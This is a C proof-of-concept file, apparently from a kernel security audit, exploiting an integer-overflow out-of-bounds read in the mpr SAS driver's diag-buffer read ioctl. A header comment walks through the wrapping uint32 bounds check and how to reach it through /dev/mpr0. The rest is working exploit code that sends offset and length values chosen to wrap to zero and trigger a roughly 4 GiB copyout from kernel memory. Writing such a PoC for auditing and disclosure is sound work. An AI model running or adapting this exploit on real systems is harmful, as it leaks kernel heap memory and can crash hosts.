DF-1329 / poc.c
/* * DF-1329 โ mpr_diag_read_buffer integer-overflow OOB read PoC. * * Bug: mpr_user.c:1798-1802 bounds check * if (diag_read_buffer->StartingOffset + diag_read_buffer->BytesToRead > * pBuffer->size) reject; * Both operands are uint32_t; the SUM wraps modulo 2^32. * StartingOffset = 0x00000100, BytesToRead = 0xFFFFFF00 * sum = 0x100000000 == 0 (mod 2^32) <= size โ check passes * Then at :1812-1814: * pData = sc->fw_diag_buffer + 0x100; * copyout(pData, ioctl_buf, 0xFFFFFF00); // reads ~4 GiB from DMA buf * โ heap info leak (and/or copyout fault far past the allocation). * * Reach: open("/dev/mpr0") + ioctl(MPTIOCTL_DIAG_ACTION) with * Action = MPR_FW_DIAG_TYPE_READ_BUFFER. Requires a previously-registered * diag buffer (MPR_FW_DIAG_TYPE_REGISTER) so pBuffer->size is set; that * register action uses the same operator-group ioctl. No ioctl privilege * check beyond device open (UID_ROOT/GID_OPERATOR 0640). * * REQUIRES HARDWARE: an LSI SAS3+ HBA must be present so /dev/mpr0 * exists and the diag-buffer machinery has run. The QEMU audit guest has * no such HBA โ /dev/mpr0 does not exist. See VERDICT.md. * * Build: cc -o poc poc.c -Wall * Run: ./poc (as an operator-group user, mpr-equipped host, * after a diag buffer has been REGISTERED) */ #include <sys/ioctl.h> #include <sys/types.h> #include <err.h> #include <fcntl.h> #include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define MPTIOCTL ('I') typedef struct mpr_diag_read_buffer { uint8_t Status; uint8_t Reserved; uint16_t Flags; uint32_t StartingOffset; uint32_t BytesToRead; uint32_t UniqueId; uint64_t PtrDataBuffer; } mpr_diag_read_buffer_t; #define MPR_FW_DIAG_TYPE_REGISTER 1 #define MPR_FW_DIAG_TYPE_UNREGISTER 2 #define MPR_FW_DIAG_TYPE_QUERY 3 #define MPR_FW_DIAG_TYPE_READ_BUFFER 4 #define MPR_FW_DIAG_TYPE_RELEASE 5 typedef struct mpr_diag_action { uint32_t Action; uint32_t Length; uint64_t PtrDiagAction; uint32_t ReturnCode; } mpr_diag_action_t; #define MPTIOCTL_DIAG_ACTION _IOWR(MPTIOCTL, 9, mpr_diag_action_t) /* Wrap values chosen so sum == 0 (mod 2^32) and StartingOffset is small * and non-zero so the pointer lands just inside the diag buffer. */ #define START_OFFSET 0x00000100u #define BYTES_TO_READ 0xFFFFFF00u int main(void) { int fd = open("/dev/mpr0", O_RDWR); if (fd < 0) err(1, "open /dev/mpr0"); /* NOTE: a real run must first REGISTER a diag buffer to obtain a * valid UniqueId; this PoC shows the overflow payload only. */ mpr_diag_read_buffer_t rbuf; memset(&rbuf, 0, sizeof(rbuf)); rbuf.UniqueId = 0x4711; /* caller-supplied UID from register */ rbuf.StartingOffset = START_OFFSET; rbuf.BytesToRead = BYTES_TO_READ; rbuf.PtrDataBuffer = (uint64_t)(uintptr_t)calloc(1, 1 << 20); mpr_diag_action_t da; memset(&da, 0, sizeof(da)); da.Action = MPR_FW_DIAG_TYPE_READ_BUFFER; da.Length = sizeof(rbuf); da.PtrDiagAction = (uint64_t)(uintptr_t)&rbuf; if (ioctl(fd, MPTIOCTL_DIAG_ACTION, &da) < 0) err(1, "ioctl MPTIOCTL_DIAG_ACTION READ_BUFFER"); fprintf(stderr, "[+] copyout accepted; StartingOffset=%#x BytesToRead=%#x " "sum=%#x (wrapped to 0)\n", START_OFFSET, BYTES_TO_READ, (uint32_t)(START_OFFSET + BYTES_TO_READ)); close(fd); return 0; } |